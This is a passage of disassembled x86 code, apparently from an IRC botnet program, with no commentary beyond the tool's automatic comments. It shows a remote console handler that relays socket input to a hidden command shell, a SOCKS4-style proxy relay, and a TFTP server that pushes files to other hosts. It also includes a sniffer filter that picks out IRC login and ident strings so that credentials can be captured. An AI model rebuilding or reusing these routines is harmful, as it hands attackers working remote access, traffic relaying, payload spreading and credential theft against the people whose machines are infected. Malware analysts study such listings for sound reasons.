var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_4101BB:				; CODE XREF: sub_4101A2+39j
					; sub_4101A2+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4C9818	; recv
		test	eax, eax
		jle	loc_4102C0
		cmp	[ebp+var_10], ebx
		jbe	short loc_4101DD
		dec	[ebp+var_10]
		jmp	short loc_4101BB
; ---------------------------------------------------------------------------


loc_4101DD:				; CODE XREF: sub_4101A2+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4102A0
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_41024D
		cmp	al, 7Fh
		jz	short loc_41024D
		cmp	al, 3
		jnz	short loc_410208
		push	ebx
		push	ebx
		call	dword_423128	; GenerateConsoleCtrlEvent
		jmp	short loc_410274
; ---------------------------------------------------------------------------


loc_410208:				; CODE XREF: sub_4101A2+5Aj
		cmp	al, 15h
		jnz	short loc_41022A
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_410260
; ---------------------------------------------------------------------------


loc_41022A:				; CODE XREF: sub_4101A2+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_410261
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_410260
; ---------------------------------------------------------------------------


loc_41024D:				; CODE XREF: sub_4101A2+52j
					; sub_4101A2+56j
		cmp	esi, ebx
		jbe	short loc_410277
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_410260:				; CODE XREF: sub_4101A2+86j
					; sub_4101A2+A9j
		pop	ecx


loc_410261:				; CODE XREF: sub_4101A2+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4C984C	; send
		test	eax, eax
		jle	short loc_4102C0


loc_410274:				; CODE XREF: sub_4101A2+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_410277:				; CODE XREF: sub_4101A2+ADj
		cmp	al, 0Dh
		jnz	loc_4101BB
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	dword_4230E0	; WriteFile
		test	eax, eax
		jz	short loc_4102C0
		xor	esi, esi
		jmp	loc_4101BB
; ---------------------------------------------------------------------------


loc_4102A0:				; CODE XREF: sub_4101A2+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_4102B1
		mov	[ebp+var_C], 1
		jmp	loc_4101BB
; ---------------------------------------------------------------------------


loc_4102B1:				; CODE XREF: sub_4101A2+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4101BB
; ---------------------------------------------------------------------------


loc_4102C0:				; CODE XREF: sub_4101A2+2Bj
					; sub_4101A2+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4101A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4102C5	proc near		; DATA XREF: sub_401AC7+277Do

var_2D4		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_40]
		call	dword_4C9800	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		call	dword_4C987C	; socket
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	dword_43C74C[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_4C982C	; bind
		test	eax, eax
		jnz	loc_410467
		push	0Ah
		push	edi
		call	dword_4C9828	; listen
		test	eax, eax
		jnz	loc_410467
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_409D1D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset dword_42E08C
		push	eax
		call	sub_417D96
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_4103A0
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_408C5D
		add	esp, 14h


loc_4103A0:				; CODE XREF: sub_4102C5+B9j
					; sub_4102C5+172j ...
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_413B5E
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4C9890	; accept
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	dword_4C9888	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset dword_4369B4
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2D4]
		push	19h
		push	eax
		call	sub_40A203
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_43C744[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset sub_4104CA
		push	esi
		push	esi
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43C754[ecx], eax
		jz	short loc_410447


loc_410434:				; CODE XREF: sub_4102C5+180j
		cmp	[ebp+var_28], esi
		jnz	loc_4103A0
		push	5
		call	dword_423078	; Sleep
		jmp	short loc_410434
; ---------------------------------------------------------------------------


loc_410447:				; CODE XREF: sub_4102C5+16Dj
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset dword_436978
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		jmp	loc_4103A0
; ---------------------------------------------------------------------------


loc_410467:				; CODE XREF: sub_4102C5+7Bj
					; sub_4102C5+8Cj
		push	edi
		call	dword_4C9894	; closesocket
		push	[ebp+var_40]
		lea	eax, [ebp+var_2D4]
		push	offset dword_436944
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4104AA
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_408C5D
		add	esp, 14h


loc_4104AA:				; CODE XREF: sub_4102C5+1C3j
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_413B5E
		push	[ebp+var_3C]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_4102C5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4104CA	proc near		; DATA XREF: sub_4102C5+14Fo

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
var_4C8		= byte ptr -4C8h
var_C8		= byte ptr -0C8h
var_44		= byte ptr -44h
var_2C		= dword	ptr -2Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		push	1
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_43C74C[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	dword_4C97E8	; select
		test	eax, eax
		jnz	short loc_41054B
		push	dword ptr [esi]
		call	dword_4C9894	; closesocket
		push	[ebp+arg_0]
		call	sub_40A51F
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread


loc_41054B:				; CODE XREF: sub_4104CA+67j
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_4C9818	; recv
		test	eax, eax
		jg	short loc_41057C
		push	dword ptr [esi]
		call	dword_4C9894	; closesocket
		push	[ebp+arg_0]
		call	sub_40A51F
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread


loc_41057C:				; CODE XREF: sub_4104CA+98j
		cmp	[ebp+var_4D0], 4
		jnz	loc_410776
		cmp	[ebp+var_4CF], 1
		jnz	loc_410776
		cmp	[ebp+var_44], bl
		jz	short loc_410612
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410612
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	offset dword_436A7C
		call	sub_413BD2
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	sub_417AA0
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4C984C	; send
		push	dword ptr [esi]
		call	dword_4C9894	; closesocket
		push	[ebp+arg_0]
		call	sub_40A51F
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread


loc_410612:				; CODE XREF: sub_4104CA+CFj
					; sub_4104CA+E5j
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_417AA0
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_4C987C	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4106AA
		call	dword_4C979C	; WSAGetLastError
		push	eax
		push	offset dword_436A3C
		call	sub_413BD2
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_417AA0
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4C984C	; send
		push	dword ptr [esi]
		call	dword_4C9894	; closesocket
		push	[ebp+arg_0]
		call	sub_40A51F
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread


loc_4106AA:				; CODE XREF: sub_4104CA+181j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_4C97AC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410719
		call	dword_4C979C	; WSAGetLastError
		push	eax
		push	offset dword_4369F8
		call	sub_413BD2
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_417AA0
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4C984C	; send
		push	dword ptr [esi]
		call	dword_4C9894	; closesocket
		push	[ebp+arg_0]
		call	sub_40A51F
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread


loc_410719:				; CODE XREF: sub_4104CA+1F0j
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4C984C	; send
		push	dword ptr [esi]
		push	edi
		call	sub_41078E
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4C9894	; closesocket
		push	dword ptr [esi]
		call	dword_4C9894	; closesocket
		push	[ebp+arg_0]
		call	sub_40A51F
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread


loc_410776:				; CODE XREF: sub_4104CA+B9j
					; sub_4104CA+C6j
		push	dword ptr [esi]
		call	dword_4C9894	; closesocket
		push	[ebp+arg_0]
		call	sub_40A51F
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread
sub_4104CA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41078E	proc near		; CODE XREF: sub_4104CA+286p

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4107A4:				; CODE XREF: sub_41078E+C5j
					; sub_41078E+F5j
		mov	[ebp+var_100], ebx
		mov	[ebp+var_104], 1
		xor	ecx, ecx
		lea	eax, [ebp+var_100]


loc_4107BC:				; CODE XREF: sub_41078E+3Cj
		mov	edx, [ebp+arg_0]
		cmp	[eax], edx
		jz	short loc_4107CC
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4107BC


loc_4107CC:				; CODE XREF: sub_41078E+33j
		cmp	ecx, 1
		jnz	short loc_4107E1
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2


loc_4107E1:				; CODE XREF: sub_41078E+41j
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4C97E8	; select
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_4C96FC	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_410841
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	dword_4C9818	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410889
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C984C	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410889


loc_410841:				; CODE XREF: sub_41078E+85j
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C96FC	; __WSAFDIsSet
		test	eax, eax
		jz	loc_4107A4
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9818	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410889
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	dword_4C984C	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4107A4


loc_410889:				; CODE XREF: sub_41078E+9Aj
					; sub_41078E+B1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41078E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41088E	proc near		; CODE XREF: sub_41088E:loc_410CFFp
					; DATA XREF: sub_401AC7+1C60o ...

var_87C		= dword	ptr -87Ch
var_878		= dword	ptr -878h
var_778		= byte ptr -778h
var_578		= byte ptr -578h
var_577		= byte ptr -577h
var_576		= byte ptr -576h
var_575		= byte ptr -575h
var_574		= byte ptr -574h
var_374		= dword	ptr -374h
var_370		= byte ptr -370h
var_26C		= byte ptr -26Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_15C		= byte ptr -15Ch
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D0		= byte ptr -0D0h
var_CF		= byte ptr -0CFh
var_CE		= byte ptr -0CEh
var_CD		= byte ptr -0CDh
var_50		= byte ptr -50h
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 87Ch
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		xor	ebx, ebx
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_374]
		push	ebx
		push	2
		rep movsd
		inc	[ebp+var_164]
		push	2
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_8], eax
		mov	[edx+2A0h], eax
		call	dword_4C987C	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41092E
		push	190h
		call	dword_423078	; Sleep
		cmp	[ebp+var_D8], ebx
		jnz	short loc_41090E
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_408C5D
		add	esp, 14h


loc_41090E:				; CODE XREF: sub_41088E+5Bj
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_413B5E
		push	[ebp+var_168]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread


loc_41092E:				; CODE XREF: sub_41088E+48j
		lea	eax, [ebp+var_10]
		push	4
		push	eax
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	esi
		call	dword_4C97E0	; setsockopt
		lea	eax, [ebp+var_14]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		push	esi
		call	dword_4C97E0	; setsockopt
		mov	eax, [ebp+var_168]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	dword_43C74C[eax], esi
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_2C], 2
		push	[ebp+var_160]
		call	dword_4C9800	; htons
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_2C]
		push	10h
		push	eax
		push	esi
		mov	[ebp+var_28], ebx
		call	dword_4C982C	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4109B8
		push	1388h
		call	dword_423078	; Sleep
		dec	[ebp+var_164]
		push	[ebp+arg_0]
		jmp	loc_410CFF
; ---------------------------------------------------------------------------


loc_4109B8:				; CODE XREF: sub_41088E+10Fj
		lea	eax, [ebp+var_370]
		push	offset dword_425068
		push	eax
		call	sub_417A18
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_410A1E
		push	190h
		call	dword_423078	; Sleep
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_408C5D
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_413B5E
		push	[ebp+var_168]
		call	sub_40A51F
		add	esp, 1Ch
		push	ebx
		call	dword_4230CC	; ExitThread


loc_410A1E:				; CODE XREF: sub_41088E+142j
					; sub_41088E+42Bj
		mov	edi, [ebp+arg_0]
		cmp	[edi+2A0h], ebx
		jz	loc_410CC2
		mov	edi, 80h
		lea	eax, [ebp+var_D0]
		push	edi
		push	ebx
		push	eax
		mov	[ebp+var_1C], 5
		mov	[ebp+var_18], 1388h
		mov	[ebp+var_878], esi
		mov	[ebp+var_87C], 1
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_87C]
		push	ebx
		push	eax
		push	ebx
		call	dword_4C97E8	; select
		test	eax, eax
		jle	loc_410CB6
		mov	al, byte_43B9B8
		mov	ecx, edi
		mov	[ebp+var_578], al
		xor	eax, eax
		lea	edi, [ebp+var_577]
		mov	[ebp+var_C], 10h
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D0]
		push	80h
		push	eax
		push	esi
		call	dword_4C97D8	; recvfrom
		push	[ebp+var_38]
		mov	[ebp+var_8], eax
		call	dword_4C9888	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		call	sub_417D96
		cmp	[ebp+var_D0], bl
		pop	ecx
		pop	ecx
		jnz	loc_410CA0
		cmp	[ebp+var_CF], 1
		jnz	loc_410BA6
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_4176F0
		push	ebx
		push	ebx
		push	[ebp+var_4]
		call	sub_4196EC
		push	[ebp+var_4]
		lea	eax, [ebp+var_574]
		mov	[ebp+var_578], bl
		mov	[ebp+var_577], 3
		push	200h
		push	1
		push	eax
		mov	[ebp+var_576], bl
		mov	[ebp+var_575], 1
		call	sub_4177F0
		add	esp, 20h
		lea	ecx, [ebp+var_3C]
		mov	[ebp+var_8], eax
		add	eax, 4
		push	[ebp+var_C]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_578]
		push	eax
		push	esi
		call	dword_4C9860	; sendto
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_778]
		push	offset aTftpTransferSt ; "Tftp transfer	started	to: %s"
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_D8], ebx
		jnz	short loc_410B94
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_408C5D
		add	esp, 14h


loc_410B94:				; CODE XREF: sub_41088E+2E1j
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_413B5E
		pop	ecx
		jmp	loc_410CB6
; ---------------------------------------------------------------------------


loc_410BA6:				; CODE XREF: sub_41088E+257j
		cmp	[ebp+var_CF], 4
		jnz	loc_410CA0
		mov	cl, [ebp+var_CD]
		mov	al, [ebp+var_CE]
		cmp	cl, 0FFh
		mov	[ebp+var_578], bl
		mov	[ebp+var_577], 3
		jnz	short loc_410BE3
		inc	al
		xor	cl, cl
		mov	[ebp+var_576], al
		mov	[ebp+var_575], bl
		jmp	short loc_410BF1
; ---------------------------------------------------------------------------


loc_410BE3:				; CODE XREF: sub_41088E+341j
		inc	cl
		mov	[ebp+var_576], al
		mov	[ebp+var_575], cl


loc_410BF1:				; CODE XREF: sub_41088E+353j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		mov	edi, 200h
		shl	eax, 9
		sub	eax, edi
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_4196EC
		push	[ebp+var_4]
		lea	eax, [ebp+var_574]
		push	edi
		push	1
		push	eax
		call	sub_4177F0
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_3C]
		mov	[ebp+var_8], edi
		push	[ebp+var_C]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_578]
		push	eax
		push	esi
		call	dword_4C9860	; sendto
		cmp	edi, ebx
		jnz	short loc_410CB6
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_778]
		push	offset aTftpTransferCo ; "Tftp transfer	complete to: %s"
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_D8], ebx
		jnz	short loc_410C8B
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_408C5D
		add	esp, 14h


loc_410C8B:				; CODE XREF: sub_41088E+3D8j
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_413B5E
		inc	dword_4CC304
		pop	ecx
		jmp	short loc_410CB6
; ---------------------------------------------------------------------------


loc_410CA0:				; CODE XREF: sub_41088E+24Aj
					; sub_41088E+31Fj
		push	[ebp+var_C]
		lea	eax, [ebp+var_3C]
		push	eax
		push	ebx
		push	9
		push	offset dword_436ABC
		push	esi
		call	dword_4C9860	; sendto


loc_410CB6:				; CODE XREF: sub_41088E+1E9j
					; sub_41088E+313j ...
		cmp	[ebp+var_8], ebx
		jg	loc_410A1E
		mov	edi, [ebp+arg_0]


loc_410CC2:				; CODE XREF: sub_41088E+199j
		push	esi
		call	dword_4C9894	; closesocket
		push	[ebp+var_4]
		call	sub_41776B
		dec	[ebp+var_164]
		cmp	[edi+2A0h], ebx
		pop	ecx
		jnz	short loc_410CF3
		push	[ebp+var_168]
		call	sub_40A51F
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread


loc_410CF3:				; CODE XREF: sub_41088E+450j
		push	3E8h
		call	dword_423078	; Sleep
		push	edi


loc_410CFF:				; CODE XREF: sub_41088E+125j
		call	sub_41088E
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_41088E	endp


; =============== S U B	R O U T	I N E =======================================



sub_410D0B	proc near		; CODE XREF: sub_41101A+213p
					; sub_41101A+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CC568, eax
		mov	eax, offset dword_4CC568
		retn
sub_410D0B	endp


; =============== S U B	R O U T	I N E =======================================



sub_410D1A	proc near		; CODE XREF: sub_41101A+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410D34


loc_410D30:				; CODE XREF: sub_410D1A+29j
					; sub_410D1A+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_410D34:				; CODE XREF: sub_410D1A+14j
		push	offset aDd	; "#dd"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410D30
		push	offset aPsniff_0 ; "[PSNIFF]:"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410D30
		push	offset aPsniff	; "PSNIFF//"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410D30
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410D7C


loc_410D78:				; CODE XREF: sub_410D1A+71j
					; sub_410D1A+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_410D7C:				; CODE XREF: sub_410D1A+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410D78
		push	offset a366	; "366 "
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410D78
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410D78
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410D78
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410D78
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410D78
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410D78
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_417E10
		pop	ecx
